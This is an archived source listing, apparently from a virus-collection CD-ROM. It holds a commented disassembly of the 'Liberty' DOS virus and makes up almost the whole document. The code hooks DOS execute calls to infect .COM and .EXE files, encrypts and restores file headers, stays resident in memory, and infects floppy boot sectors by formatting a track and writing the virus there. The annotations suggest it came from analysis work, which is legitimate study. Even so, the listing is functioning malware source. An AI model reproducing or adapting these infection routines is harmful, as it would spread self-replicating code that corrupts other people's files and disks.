home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
SOURCE.ZIP
/
LIBERTY2.ASM
< prev
next >
Wrap
Assembly Source File
|
1992-11-07
|
69KB
|
1,195 lines
CS:0110 EB79 JMP 018B
CS:0112 90 NOP
;
; The program's original infomation is stored between these sections
;
CS:018B 2E CS:
CS:018C 803E090201 CMP BYTE PTR [0209],01 ; .EXE file ?
CS:0191 7403 JZ 0196
CS:0193 1F POP DS
CS:0194 59 POP CX
CS:0195 5B POP BX
CS:0196 50 PUSH AX
CS:0197 53 PUSH BX
CS:0198 51 PUSH CX
CS:0199 52 PUSH DX
CS:019A 1E PUSH DS
CS:019B 06 PUSH ES
CS:019C 1E PUSH DS
CS:019D 0E PUSH CS
CS:019E 1F POP DS
CS:019F E8CD00 CALL 026F ; Installation check
CS:01A2 3DFFFF CMP AX,FFFF
CS:01A5 741A JZ 01C1
CS:01A7 E8D700 CALL 0281 ; Get vector 21h
CS:01AA 07 POP ES
CS:01AB 06 PUSH ES
CS:01AC 8CC0 MOV AX,ES
CS:01AE 48 DEC AX
CS:01AF 8ED8 MOV DS,AX
CS:01B1 E8DC00 CALL 0290 ; Adjust MCB
CS:01B4 8EC0 MOV ES,AX
CS:01B6 0E PUSH CS
CS:01B7 1F POP DS
CS:01B8 E8EC00 CALL 02A7 ; Move to Upper Memory
CS:01BB E8F400 CALL 02B2 ; Set vector 21h
CS:01BE E80101 CALL 02C2 ; Set installation flag
CS:01C1 2E CS:
CS:01C2 803E090201 CMP BYTE PTR [0209],01 ; .EXE file ?
CS:01C7 7417 JZ 01E0
CS:01C9 07 POP ES
CS:01CA 0E PUSH CS
CS:01CB 1F POP DS
CS:01CC E80901 CALL 02D8 ; Decrypt header
CS:01CF E81901 CALL 02EB ; Restore header
CS:01D2 07 POP ES
CS:01D3 1F POP DS
CS:01D4 5A POP DX
CS:01D5 59 POP CX
CS:01D6 5B POP BX
CS:01D7 58 POP AX
CS:01D8 1E PUSH DS
CS:01D9 BF0001 MOV DI,0100
CS:01DC 57 PUSH DI
CS:01DD 33FF XOR DI,DI
CS:01DF CB RETF ; Start file
CS:01E0 FA CLI
CS:01E1 5E POP SI
CS:01E2 07 POP ES
CS:01E3 1F POP DS
CS:01E4 5A POP DX
CS:01E5 59 POP CX
CS:01E6 5B POP BX
CS:01E7 58 POP AX
CS:01E8 2E CS:
CS:01E9 8B3E2C06 MOV DI,[062C]
CS:01ED 03FE ADD DI,SI
CS:01EF 8ED7 MOV SS,DI
CS:01F1 2E CS:
CS:01F2 8B3E2E06 MOV DI,[062E]
CS:01F6 8BE7 MOV SP,DI ; Restore stack
CS:01F8 2E CS:
CS:01F9 8B3E2806 MOV DI,[0628]
CS:01FD 03FE ADD DI,SI
CS:01FF 57 PUSH DI
CS:0200 2E CS:
CS:0201 FF362A06 PUSH [062A]
CS:0205 33F6 XOR SI,SI
CS:0207 EBD4 JMP 01DD ; Start file
;
; The encrypted Liberty header for .COM files
;
DS:0200 1D 69 D9 00 01 01
DS:0210 80 80 40 40 20 20 10 10-08 08 A4 05 D2 04 C9 02
DS:0220 4C 81 A8 40 49 20 21 90-0B 48 E8 69 95 05 4A 92
DS:0230 21 1D 40 A8 43 28 90 14-4E 4C 07 27 D3 22 81 81
DS:0240 C0 B0 40 C4 79 20 90 29-5C D0 AE 69 57 35 2B 9A
DS:0250 31 CD 34 40 51 53 AE 5D-62 C0 E3 C1 B0 35 58 F6
DS:0260 46 E5 20 02
;
; Various subroutines used by the virus
;
CS:026F 2E CS:
CS:0270 8A1E6A02 MOV BL,[026A]
CS:0274 32FF XOR BH,BH
CS:0276 33C0 XOR AX,AX
CS:0278 8ED8 MOV DS,AX
CS:027A D1E3 SHL BX,1
CS:027C D1E3 SHL BX,1
CS:027E 8B07 MOV AX,[BX]
CS:0280 C3 RET
CS:0281 A18400 MOV AX,[0084]
CS:0284 2E CS:
CS:0285 A38C03 MOV [038C],AX
CS:0288 A18600 MOV AX,[0086]
CS:028B 2E CS:
CS:028C A38E03 MOV [038E],AX
CS:028F C3 RET
CS:0290 BB4221 MOV BX,2142
CS:0293 B104 MOV CL,04
CS:0295 D3EB SHR BX,CL
CS:0297 291E0300 SUB [0003],BX
CS:029B A10300 MOV AX,[0003]
CS:029E 03060100 ADD AX,[0001]
CS:02A2 A31200 MOV [0012],AX
CS:02A5 40 INC AX
CS:02A6 C3 RET
CS:02A7 BF1001 MOV DI,0110
CS:02AA 8BF7 MOV SI,DI
CS:02AC B99A05 MOV CX,059A
CS:02AF F3 REPZ
CS:02B0 A5 MOVSW
CS:02B1 C3 RET
CS:02B2 33C0 XOR AX,AX
CS:02B4 8ED8 MOV DS,AX
CS:02B6 FA CLI
CS:02B7 B86C03 MOV AX,036C
CS:02BA A38400 MOV [0084],AX
CS:02BD 8C068600 MOV [0086],ES
CS:02C1 C3 RET
CS:02C2 FA CLI
CS:02C3 B8FFFF MOV AX,FFFF
CS:02C6 2E CS:
CS:02C7 8A1E6A02 MOV BL,[026A]
CS:02CB 32FF XOR BH,BH
CS:02CD D1E3 SHL BX,1
CS:02CF D1E3 SHL BX,1
CS:02D1 8907 MOV [BX],AX
CS:02D3 40 INC AX
CS:02D4 894702 MOV [BX+02],AX
CS:02D7 C3 RET
CS:02D8 B93C00 MOV CX,003C
CS:02DB BE1301 MOV SI,0113
CS:02DE 2E CS:
CS:02DF 8B14 MOV DX,[SI]
CS:02E1 D3CA ROR DX,CL
CS:02E3 2E CS:
CS:02E4 8914 MOV [SI],DX
CS:02E6 46 INC SI
CS:02E7 46 INC SI
CS:02E8 E2F4 LOOP 02DE
CS:02EA C3 RET
CS:02EB BF0001 MOV DI,0100
CS:02EE BE1301 MOV SI,0113
CS:02F1 B93C00 MOV CX,003C
CS:02F4 F3 REPZ
CS:02F5 A5 MOVSW
CS:02F6 C3 RET
;
; I am not sure what the next routine is supposed to be doing.
;
CS:02F7 9C PUSHF
CS:02F8 2E CS:
CS:02F9 803E100301 CMP BYTE PTR [0310],01
CS:02FE 740A JZ 030A
CS:0300 80FC03 CMP AH,03
CS:0303 7505 JNZ 030A
CS:0305 80FA80 CMP DL,80
CS:0308 7207 JB 0311
CS:030A 9D POPF
CS:030B EA00000000 JMP 0000:0000
CS:0311 06 PUSH ES
CS:0312 0E PUSH CS
CS:0313 07 POP ES
CS:0314 B80902 MOV AX,0209
CS:0317 BB420C MOV BX,0C42
CS:031A B90100 MOV CX,0001
CS:031D 9C PUSHF
CS:031E 2E CS:
CS:031F FF1E0C03 CALL FAR [030C]
CS:0323 72E5 JB 030A
CS:0325 B80905 MOV AX,0509
CS:0328 BB4803 MOV BX,0348
CS:032B B93100 MOV CX,0031
CS:032E 9C PUSHF
CS:032F 2E CS:
CS:0330 FF1E0C03 CALL FAR [030C]
CS:0334 72D4 JB 030A
CS:0336 B80903 MOV AX,0309
CS:0339 BB420C MOV BX,0C42
CS:033C B93100 MOV CX,0031
CS:033F 9C PUSHF
CS:0340 2E CS:
CS:0341 FF1E0C03 CALL FAR [030C]
CS:0345 07 POP ES
CS:0346 9D POPF
CS:0347 CF IRET
;
; Another format table used by the virus
;
DS:0340 00 00 31 02 00 00 32 02
DS:0350 00 00 33 02 00 00 34 02-00 00 35 02 00 00 36 02
DS:0360 00 00 37 02 00 00 38 02-00 00 39 02
;
; The virus infects files by monitoring function 4Bh of vector 21h
;
CS:036C 9C PUSHF
CS:036D 3D004B CMP AX,4B00 ; Execute function ?
CS:0370 741E JZ 0390
CS:0372 EB16 JMP 038A
CS:0374 90 NOP
CS:0375 E8B901 CALL 0531 ; Close file
CS:0378 E89A00 CALL 0415 ; Restore vectors
CS:037B C6060C04FF MOV BYTE PTR [040C],FF
CS:0380 90 NOP
CS:0381 9D POPF
CS:0382 07 POP ES
CS:0383 1F POP DS
CS:0384 5F POP DI
CS:0385 5E POP SI
CS:0386 5A POP DX
CS:0387 59 POP CX
CS:0388 5B POP BX
CS:0389 58 POP AX
CS:038A 9D POPF
CS:038B EA77142C02 JMP 022C:1477 ; Continue
CS:0390 50 PUSH AX
CS:0391 53 PUSH BX
CS:0392 51 PUSH CX
CS:0393 52 PUSH DX
CS:0394 56 PUSH SI
CS:0395 57 PUSH DI
CS:0396 1E PUSH DS
CS:0397 06 PUSH ES
CS:0398 9C PUSHF
CS:0399 E8A600 CALL 0442 ; Set error vectors
CS:039C E8E100 CALL 0480 ; Open file
CS:039F 72D4 JB 0375
CS:03A1 0E PUSH CS
CS:03A2 1F POP DS
CS:03A3 0E PUSH CS
CS:03A4 07 POP ES
CS:03A5 A30A04 MOV [040A],AX
CS:03A8 93 XCHG BX,AX
CS:03A9 C6060C0401 MOV BYTE PTR [040C],01
CS:03AE 90 NOP
CS:03AF E8D800 CALL 048A ; Read file header
CS:03B2 72C1 JB 0375
CS:03B4 BB1301 MOV BX,0113
CS:03B7 2E CS:
CS:03B8 813F4D5A CMP WORD PTR [BX],5A4D ; .EXE file ?
CS:03BC 7505 JNZ 03C3
CS:03BE E8C001 CALL 0581 ; Adapt header
CS:03C1 EBB2 JMP 0375
CS:03C3 2E CS:
CS:03C4 C606090200 MOV BYTE PTR [0209],00 ; Set switch
CS:03C9 E8CD00 CALL 0499 ; Check infection
CS:03CC 74A7 JZ 0375
CS:03CE E8DD00 CALL 04AE ; Encrypt header
CS:03D1 E8EB00 CALL 04BF ; Move to EOF
CS:03D4 729F JB 0375
CS:03D6 83FA00 CMP DX,+00 ;
CS:03D9 759A JNZ 0375 ;
CS:03DB 3D0005 CMP AX,0500 ;
CS:03DE 7295 JB 0375 ;
CS:03E0 3DFFEF CMP AX,EFFF ;
CS:03E3 7390 JNB 0375 ; Check file size
CS:03E5 E8EA00 CALL 04D2 ; Move to next paragraph
CS:03E8 728B JB 0375
CS:03EA E80701 CALL 04F4 ; Write virus
CS:03ED 7286 JB 0375
CS:03EF 3BC1 CMP AX,CX
CS:03F1 7C11 JL 0404
CS:03F3 E81301 CALL 0509 ; Move to BOF
CS:03F6 7209 JB 0401
CS:03F8 E86201 CALL 055D ; Decrypt Libery header
CS:03FB E81E01 CALL 051C ; Write Liberty header
CS:03FE E86F01 CALL 0570 ; Encrypt Liberty Header
CS:0401 E971FF JMP 0375
CS:0404 E83801 CALL 053F ; Set & get vector 13h
CS:0407 E96BFF JMP 0375
;
; Revectoring of error vectors.
;
CS:0415 1E PUSH DS
CS:0416 33DB XOR BX,BX
CS:0418 8EDB MOV DS,BX
CS:041A FA CLI
CS:041B 2E CS:
CS:041C 8B1E0D04 MOV BX,[040D]
CS:0420 891E8C00 MOV [008C],BX
CS:0424 2E CS:
CS:0425 8B1E0F04 MOV BX,[040F]
CS:0429 891E8E00 MOV [008E],BX
CS:042D FA CLI
CS:042E 2E CS:
CS:042F 8B1E1104 MOV BX,[0411]
CS:0433 891E9000 MOV [0090],BX
CS:0437 2E CS:
CS:0438 8B1E1304 MOV BX,[0413]
CS:043C 891E8E00 MOV [008E],BX
CS:0440 1F POP DS
CS:0441 C3 RET
CS:0442 1E PUSH DS
CS:0443 33DB XOR BX,BX
CS:0445 8EDB MOV DS,BX
CS:0447 8B1E8C00 MOV BX,[008C]
CS:044B 2E CS:
CS:044C 891E0D04 MOV [040D],BX
CS:0450 8B1E8E00 MOV BX,[008E]
CS:0454 2E CS:
CS:0455 891E0F04 MOV [040F],BX
CS:0459 FA CLI
CS:045A BB3106 MOV BX,0631
CS:045D 891E8C00 MOV [008C],BX
CS:0461 8C0E8E00 MOV [008E],CS
CS:0465 8B1E9000 MOV BX,[0090]
CS:0469 2E CS:
CS:046A 891E1104 MOV [0411],BX
CS:046E 8B1E9200 MOV BX,[0092]
CS:0472 FA CLI
CS:0473 BB3206 MOV BX,0632
CS:0476 891E9000 MOV [0090],BX
CS:047A 8C0E9200 MOV [0092],CS
CS:047E 1F POP DS
CS:047F C3 RET
;
; Various subroutines used by the virus
;
CS:0480 B8023D MOV AX,3D02
CS:0483 9C PUSHF
CS:0484 2E CS:
CS:0485 FF1E8C03 CALL FAR [038C]
CS:0489 C3 RET
CS:048A B43F MOV AH,3F
CS:048C B97800 MOV CX,0078
CS:048F BA1301 MOV DX,0113
CS:0492 9C PUSHF
CS:0493 2E CS:
CS:0494 FF1E8C03 CALL FAR [038C]
CS:0498 C3 RET
CS:0499 BF1301 MOV DI,0113
CS:049C 81C76802 ADD DI,0268
CS:04A0 81EF0A02 SUB DI,020A
CS:04A4 BE6802 MOV SI,0268
CS:04A7 FC CLD
CS:04A8 B90700 MOV CX,0007
CS:04AB F3 REPZ
CS:04AC A6 CMPSB
CS:04AD C3 RET
CS:04AE B93C00 MOV CX,003C
CS:04B1 BE1301 MOV SI,0113
CS:04B4 8B14 MOV DX,[SI]
CS:04B6 D3C2 ROL DX,CL
CS:04B8 8914 MOV [SI],DX
CS:04BA 46 INC SI
CS:04BB 46 INC SI
CS:04BC E2F6 LOOP 04B4
CS:04BE C3 RET
CS:04BF B80242 MOV AX,4202
CS:04C2 2E CS:
CS:04C3 8B1E0A04 MOV BX,[040A]
CS:04C7 33C9 XOR CX,CX
CS:04C9 33D2 XOR DX,DX
CS:04CB 9C PUSHF
CS:04CC 2E CS:
CS:04CD FF1E8C03 CALL FAR [038C]
CS:04D1 C3 RET
CS:04D2 B90400 MOV CX,0004
CS:04D5 D3E8 SHR AX,CL
CS:04D7 BB6602 MOV BX,0266
CS:04DA 8907 MOV [BX],AX
CS:04DC 40 INC AX
CS:04DD B90400 MOV CX,0004
CS:04E0 D3E0 SHL AX,CL
CS:04E2 92 XCHG DX,AX
CS:04E3 33C9 XOR CX,CX
CS:04E5 B80042 MOV AX,4200
CS:04E8 2E CS:
CS:04E9 8B1E0A04 MOV BX,[040A]
CS:04ED 9C PUSHF
CS:04EE 2E CS:
CS:04EF FF1E8C03 CALL FAR [038C]
CS:04F3 C3 RET
CS:04F4 B9330B MOV CX,0B33
CS:04F7 B80040 MOV AX,4000
CS:04FA BA1001 MOV DX,0110
CS:04FD 2E CS:
CS:04FE 8B1E0A04 MOV BX,[040A]
CS:0502 9C PUSHF
CS:0503 2E CS:
CS:0504 FF1E8C03 CALL FAR [038C]
CS:0508 C3 RET
CS:0509 B80042 MOV AX,4200
CS:050C 2E CS:
CS:050D 8B1E0A04 MOV BX,[040A]
CS:0511 33C9 XOR CX,CX
CS:0513 33D2 XOR DX,DX
CS:0515 9C PUSHF
CS:0516 2E CS:
CS:0517 FF1E8C03 CALL FAR [038C]
CS:051B C3 RET
CS:051C BA0A02 MOV DX,020A
CS:051F B80040 MOV AX,4000
CS:0522 2E CS:
CS:0523 8B1E0A04 MOV BX,[040A]
CS:0527 B97800 MOV CX,0078
CS:052A 9C PUSHF
CS:052B 2E CS:
CS:052C FF1E8C03 CALL FAR [038C]
CS:0530 C3 RET
CS:0531 B43E MOV AH,3E
CS:0533 2E CS:
CS:0534 8B1E0A04 MOV BX,[040A]
CS:0538 9C PUSHF
CS:0539 2E CS:
CS:053A FF1E8C03 CALL FAR [038C]
CS:053E C3 RET
CS:053F 33C0 XOR AX,AX
CS:0541 8ED8 MOV DS,AX
CS:0543 FA CLI
CS:0544 A14C00 MOV AX,[004C]
CS:0547 2E CS:
CS:0548 A31407 MOV [0714],AX
CS:054B A14E00 MOV AX,[004E]
CS:054E 2E CS:
CS:054F A31607 MOV [0716],AX
CS:0552 B8F906 MOV AX,06F9
CS:0555 A34C00 MOV [004C],AX
CS:0558 8C0E4E00 MOV [004E],CS
CS:055C C3 RET
;
; Header encrypting
;
CS:055D B92D00 MOV CX,002D
CS:0560 BE0A02 MOV SI,020A
CS:0563 2E CS:
CS:0564 8B3C MOV DI,[SI]
CS:0566 D3CF ROR DI,CL
CS:0568 2E CS:
CS:0569 893C MOV [SI],DI
CS:056B 46 INC SI
CS:056C 46 INC SI
CS:056D E2F4 LOOP 0563
CS:056F C3 RET
CS:0570 BE0A02 MOV SI,020A
CS:0573 B92D00 MOV CX,002D
CS:0576 8B3C MOV DI,[SI]
CS:0578 D3C7 ROL DI,CL
CS:057A 893C MOV [SI],DI
CS:057C 46 INC SI
CS:057D 46 INC SI
CS:057E E2F6 LOOP 0576
CS:0580 C3 RET
;
; .EXE file handling
;
CS:0581 8B7F02 MOV DI,[BX+02]
CS:0584 83FFFF CMP DI,-01 ; Check infection
CS:0587 7439 JZ 05C2
CS:0589 8B7F16 MOV DI,[BX+16]
CS:058C 83C710 ADD DI,+10
CS:058F 893E2806 MOV [0628],DI
CS:0593 8B7F14 MOV DI,[BX+14]
CS:0596 893E2A06 MOV [062A],DI
CS:059A 8B7F0E MOV DI,[BX+0E]
CS:059D 83C710 ADD DI,+10
CS:05A0 893E2C06 MOV [062C],DI
CS:05A4 8B7F10 MOV DI,[BX+10]
CS:05A7 893E2E06 MOV [062E],DI
CS:05AB BF1001 MOV DI,0110
CS:05AE 897F14 MOV [BX+14],DI ; Set IP
CS:05B1 BF420D MOV DI,0D42
CS:05B4 897F10 MOV [BX+10],DI ; Set SP
CS:05B7 2E CS:
CS:05B8 C606090201 MOV BYTE PTR [0209],01 ; Set switch
CS:05BD E8FFFE CALL 04BF ; Move to EOF
CS:05C0 7301 JNB 05C3
CS:05C2 C3 RET
CS:05C3 83FA0A CMP DX,+0A ;
CS:05C6 77FA JA 05C2 ; Check file size
CS:05C8 B104 MOV CL,04
CS:05CA D3E8 SHR AX,CL
CS:05CC 40 INC AX
CS:05CD 3D0010 CMP AX,1000
CS:05D0 7501 JNZ 05D3
CS:05D2 42 INC DX
CS:05D3 D3E0 SHL AX,CL
CS:05D5 50 PUSH AX
CS:05D6 52 PUSH DX
CS:05D7 B91000 MOV CX,0010
CS:05DA F7F1 DIV CX
CS:05DC BB1301 MOV BX,0113
CS:05DF 2D1100 SUB AX,0011
CS:05E2 8B7F08 MOV DI,[BX+08]
CS:05E5 2BC7 SUB AX,DI
CS:05E7 894716 MOV [BX+16],AX ; Set CodeSegment
CS:05EA 89470E MOV [BX+0E],AX ; Set StackSegment
CS:05ED 59 POP CX
CS:05EE 5A POP DX
CS:05EF E8F3FE CALL 04E5 ; Move to next paragraph
CS:05F2 722F JB 0623
CS:05F4 E8FDFE CALL 04F4 ; Write virus
CS:05F7 722A JB 0623
CS:05F9 3BC1 CMP AX,CX
CS:05FB 7C27 JL 0624
CS:05FD E8BFFE CALL 04BF ; Move to BOF
CS:0600 7221 JB 0623
CS:0602 B90002 MOV CX,0200
CS:0605 F7F1 DIV CX
CS:0607 83FA00 CMP DX,+00
CS:060A 7401 JZ 060D
CS:060C 40 INC AX
CS:060D BB1301 MOV BX,0113
CS:0610 894704 MOV [BX+04],AX ; Set blocks
CS:0613 C74702FFFF MOV WORD PTR [BX+02],FFFF ; Set infection mark
CS:0618 E8EEFE CALL 0509 ; Move to BOF
CS:061B 7206 JB 0623
CS:061D BA1301 MOV DX,0113
CS:0620 E8FCFE CALL 051F ; Write header
CS:0623 C3 RET
CS:0624 E818FF CALL 053F ; Set & get vector 13h
CS:0627 C3 RET
;
; Error vectors
;
CS:0631 CF IRET ; Error vector 23h
CS:0632 32C0 XOR AL,AL ;
CS:0634 CF IRET ; Error vector 24h
;
; The next part is the virus's bootsector
;
CS:0635 EB01 JMP 0638
CS:0637 90 NOP
CS:0638 33C0 XOR AX,AX
CS:063A 8ED0 MOV SS,AX
CS:063C BC007C MOV SP,7C00
CS:063F 33C0 XOR AX,AX
CS:0641 8EC0 MOV ES,AX
CS:0643 BB1304 MOV BX,0413 ;
CS:0646 26 ES: ;
CS:0647 8B07 MOV AX,[BX] ;
CS:0649 2D0A00 SUB AX,000A ;
CS:064C B106 MOV CL,06 ;
CS:064E 26 ES: ;
CS:064F 8907 MOV [BX],AX ; Decrease memory
CS:0651 D3E0 SHL AX,CL
CS:0653 8EC0 MOV ES,AX
CS:0655 B80802 MOV AX,0208 ;
CS:0658 BB1001 MOV BX,0110 ;
CS:065B B93128 MOV CX,2831 ;
CS:065E 33D2 XOR DX,DX ;
CS:0660 CD13 INT 13 ; Read virus
CS:0662 06 PUSH ES
CS:0663 BB6806 MOV BX,0668
CS:0666 53 PUSH BX
CS:0667 CB RETF
CS:0668 2E CS:
CS:0669 803EC8060A CMP BYTE PTR [06C8],0A
CS:066E 7446 JZ 06B6
CS:0670 33C0 XOR AX,AX
CS:0672 8ED8 MOV DS,AX
CS:0674 2E CS:
CS:0675 FE06C806 INC BYTE PTR [06C8]
CS:0679 B80803 MOV AX,0308
CS:067C BB1001 MOV BX,0110
CS:067F B93128 MOV CX,2831
CS:0682 33D2 XOR DX,DX
CS:0684 CD13 INT 13
CS:0686 E85200 CALL 06DB ; Set & get vector 13h
CS:0689 2E CS: ;
CS:068A C606470BFF MOV BYTE PTR [0B47],FF ;
CS:068F 90 NOP ;
CS:0690 2E CS: ;
CS:0691 C606950BFF MOV BYTE PTR [0B95],FF ;
CS:0696 90 NOP ;
CS:0697 2E CS: ;
CS:0698 C606080CFF MOV BYTE PTR [0C08],FF ; Switches off
CS:069D 90 NOP
CS:069E E82902 CALL 08CA ; Set & get vector 8h
CS:06A1 E85402 CALL 08F8 ; Set & get vector 1Ch
CS:06A4 E84104 CALL 0AE8 ; Set & get vector 10h
CS:06A7 E85804 CALL 0B02 ; Set & get vector 14h
CS:06AA E86F04 CALL 0B1C ; Set & get vector 17h
CS:06AD E81900 CALL 06C9 ; Read original bootsector
CS:06B0 BB007C MOV BX,7C00 ;
CS:06B3 1E PUSH DS ;
CS:06B4 53 PUSH BX ;
CS:06B5 CB RETF ; Start
CS:06B6 E81000 CALL 06C9 ; Read bootsector
CS:06B9 B80103 MOV AX,0301
CS:06BC BB007C MOV BX,7C00
CS:06BF B90100 MOV CX,0001
CS:06C2 33D2 XOR DX,DX
CS:06C4 CD13 INT 13
CS:06C6 EBE5 JMP 06AD
CS:06C9 33C0 XOR AX,AX
CS:06CB 8EC0 MOV ES,AX
CS:06CD B80102 MOV AX,0201
CS:06D0 BB007C MOV BX,7C00
CS:06D3 B93F28 MOV CX,283F
CS:06D6 33D2 XOR DX,DX
CS:06D8 CD13 INT 13
CS:06DA C3 RET
CS:06DB 33C0 XOR AX,AX
CS:06DD 8ED8 MOV DS,AX
CS:06DF A14C00 MOV AX,[004C]
CS:06E2 2E CS:
CS:06E3 A31608 MOV [0816],AX
CS:06E6 A14E00 MOV AX,[004E]
CS:06E9 2E CS:
CS:06EA A31808 MOV [0818],AX
CS:06ED FA CLI
CS:06EE B8FB07 MOV AX,07FB
CS:06F1 A34C00 MOV [004C],AX
CS:06F4 8C0E4E00 MOV [004E],CS
CS:06F8 C3 RET
;
; Boot sectors are infected via vector 13h
;
CS:06F9 9C PUSHF
CS:06FA 80FC01 CMP AH,01
CS:06FD 7E13 JLE 0712
CS:06FF 80FC04 CMP AH,04
CS:0702 7D0E JGE 0712
CS:0704 80FA80 CMP DL,80
CS:0707 720F JB 0718
CS:0709 E8BE00 CALL 07CA ; Disconnect vector 13h
CS:070C 07 POP ES
CS:070D 1F POP DS
CS:070E 5A POP DX
CS:070F 59 POP CX
CS:0710 5B POP BX
CS:0711 58 POP AX
CS:0712 9D POPF
CS:0713 EA00000000 JMP 0000:0000
CS:0718 50 PUSH AX
CS:0719 53 PUSH BX
CS:071A 51 PUSH CX
CS:071B 52 PUSH DX
CS:071C 1E PUSH DS
CS:071D 06 PUSH ES
CS:071E B80102 MOV AX,0201 ;
CS:0721 0E PUSH CS ;
CS:0722 07 POP ES ;
CS:0723 0E PUSH CS ;
CS:0724 1F POP DS ;
CS:0725 BB420C MOV BX,0C42 ;
CS:0728 B90100 MOV CX,0001 ;
CS:072B 32F6 XOR DH,DH ;
CS:072D 9C PUSHF ;
CS:072E 2E CS: ;
CS:072F FF1E1407 CALL FAR [0714] ; Read Bootsector
CS:0733 72D4 JB 0709
CS:0735 0E PUSH CS
CS:0736 1F POP DS
CS:0737 0E PUSH CS
CS:0738 07 POP ES
CS:0739 BE420C MOV SI,0C42 ;
CS:073C BF3506 MOV DI,0635 ;
CS:073F B90A00 MOV CX,000A ;
CS:0742 FC CLD ;
CS:0743 F3 REPZ ;
CS:0744 A7 CMPSW ; Check infection
CS:0745 74C2 JZ 0709
CS:0747 BE420C MOV SI,0C42
CS:074A 807C02FF CMP BYTE PTR [SI+02],FF ; Was infected ?
CS:074E 744A JZ 079A
CS:0750 B0FF MOV AL,FF
CS:0752 884402 MOV [SI+02],AL
CS:0755 B80905 MOV AX,0509 ;
CS:0758 BBA607 MOV BX,07A6 ;
CS:075B B93128 MOV CX,2831 ;
CS:075E 9C PUSHF ;
CS:075F 2E CS: ;
CS:0760 FF1E1407 CALL FAR [0714] ; Format track 40
CS:0764 72A3 JB 0709
CS:0766 B80103 MOV AX,0301 ;
CS:0769 BB420C MOV BX,0C42 ;
CS:076C B93F28 MOV CX,283F ;
CS:076F 9C PUSHF ;
CS:0770 2E CS: ;
CS:0771 FF1E1407 CALL FAR [0714] ; Write original bootsector
CS:0775 7292 JB 0709
CS:0777 B80103 MOV AX,0301 ;
CS:077A BB3506 MOV BX,0635 ;
CS:077D B90100 MOV CX,0001 ;
CS:0780 9C PUSHF ;
CS:0781 2E CS: ;
CS:0782 FF1E1407 CALL FAR [0714] ; Write Libery bootsector
CS:0786 7281 JB 0709
CS:0788 B80803 MOV AX,0308 ;
CS:078B BB1001 MOV BX,0110 ;
CS:078E B93128 MOV CX,2831 ;
CS:0791 9C PUSHF ;
CS:0792 2E CS: ;
CS:0793 FF1E1407 CALL FAR [0714] ; Write Liberty virus
CS:0797 E96FFF JMP 0709
CS:079A 2E CS: ;
CS:079B C606100300 MOV BYTE PTR [0310],00 ;
CS:07A0 E83B00 CALL 07DE ; Attach ???
CS:07A3 E963FF JMP 0709
;
; The format table is next
;
DS:07A0 28 00-31 02 28 00 32 02 28 00
DS:07B0 33 02 28 00 34 02 28 00-35 02 28 00 36 02 28 00
DS:07C0 37 02 28 00 38 02 28 00-3F 02
;
; Revectoring
;
CS:07CA 33C0 XOR AX,AX
CS:07CC 8ED8 MOV DS,AX
CS:07CE FA CLI
CS:07CF 2E CS:
CS:07D0 A11407 MOV AX,[0714]
CS:07D3 A34C00 MOV [004C],AX
CS:07D6 2E CS:
CS:07D7 A11607 MOV AX,[0716]
CS:07DA A34E00 MOV [004E],AX
CS:07DD C3 RET
CS:07DE 2E CS:
CS:07DF A11407 MOV AX,[0714]
CS:07E2 2E CS:
CS:07E3 A30C03 MOV [030C],AX
CS:07E6 2E CS:
CS:07E7 A11607 MOV AX,[0716]
CS:07EA 2E CS:
CS:07EB A30E03 MOV [030E],AX
CS:07EE B8F702 MOV AX,02F7
CS:07F1 2E CS:
CS:07F2 A31407 MOV [0714],AX
CS:07F5 2E CS:
CS:07F6 8C0E1607 MOV [0716],CS
CS:07FA C3 RET
;
; Boot sectors are infected via vector 13h
;
CS:07FB 9C PUSHF
CS:07FC 80FC03 CMP AH,03
CS:07FF 7213 JB 0814
CS:0801 80FC05 CMP AH,05
CS:0804 730E JNB 0814
CS:0806 80FA80 CMP DL,80
CS:0809 720F JB 081A
CS:080B EB07 JMP 0814
CS:080D 90 NOP
CS:080E 07 POP ES
CS:080F 1F POP DS
CS:0810 5A POP DX
CS:0811 59 POP CX
CS:0812 5B POP BX
CS:0813 58 POP AX
CS:0814 9D POPF
CS:0815 EA00000000 JMP 0000:0000
CS:081A 50 PUSH AX
CS:081B 53 PUSH BX
CS:081C 51 PUSH CX
CS:081D 52 PUSH DX
CS:081E 1E PUSH DS
CS:081F 06 PUSH ES
CS:0820 2E CS:
CS:0821 803E0C0401 CMP BYTE PTR [040C],01
CS:0826 74E6 JZ 080E
CS:0828 B80102 MOV AX,0201 ;
CS:082B 0E PUSH CS ;
CS:082C 07 POP ES ;
CS:082D 0E PUSH CS ;
CS:082E 1F POP DS ;
CS:082F BB420C MOV BX,0C42 ;
CS:0832 B90100 MOV CX,0001 ;
CS:0835 32F6 XOR DH,DH ;
CS:0837 9C PUSHF ;
CS:0838 2E CS: ;
CS:0839 FF1E1608 CALL FAR [0816] ; Read bootsector
CS:083D 72CF JB 080E
CS:083F 0E PUSH CS
CS:0840 1F POP DS
CS:0841 0E PUSH CS
CS:0842 07 POP ES
CS:0843 BE420C MOV SI,0C42 ;
CS:0846 BF3506 MOV DI,0635 ;
CS:0849 B90A00 MOV CX,000A ;
CS:084C FC CLD ;
CS:084D F3 REPZ ;
CS:084E A7 CMPSW ; Check infection
CS:084F 74BD JZ 080E
CS:0851 B0FF MOV AL,FF
CS:0853 884702 MOV [BX+02],AL
CS:0856 B80905 MOV AX,0509 ;
CS:0859 BBA607 MOV BX,07A6 ;
CS:085C B93128 MOV CX,2831 ;
CS:085F 9C PUSHF ;
CS:0860 2E CS: ;
CS:0861 FF1E1608 CALL FAR [0816] ; Format track 28
CS:0865 72A7 JB 080E
CS:0867 B80103 MOV AX,0301 ;
CS:086A BB420C MOV BX,0C42 ;
CS:086D B93F28 MOV CX,283F ;
CS:0870 9C PUSHF ;
CS:0871 2E CS: ;
CS:0872 FF1E1608 CALL FAR [0816] ; Write original bootsector
CS:0876 7296 JB 080E
CS:0878 B80103 MOV AX,0301 ;
CS:087B BB3506 MOV BX,0635 ;
CS:087E B90100 MOV CX,0001 ;
CS:0881 9C PUSHF ;
CS:0882 2E CS: ;
CS:0883 FF1E1608 CALL FAR [0816] ; Write Liberty bootsector
CS:0887 7285 JB 080E
CS:0889 B80803 MOV AX,0308 ;
CS:088C BB1001 MOV BX,0110 ;
CS:088F B93128 MOV CX,2831 ;
CS:0892 9C PUSHF ;
CS:0893 2E CS: ;
CS:0894 FF1E1608 CALL FAR [0816] ; Write Liberty bootsector
CS:0898 E973FF JMP 080E
CS:089B 9C PUSHF
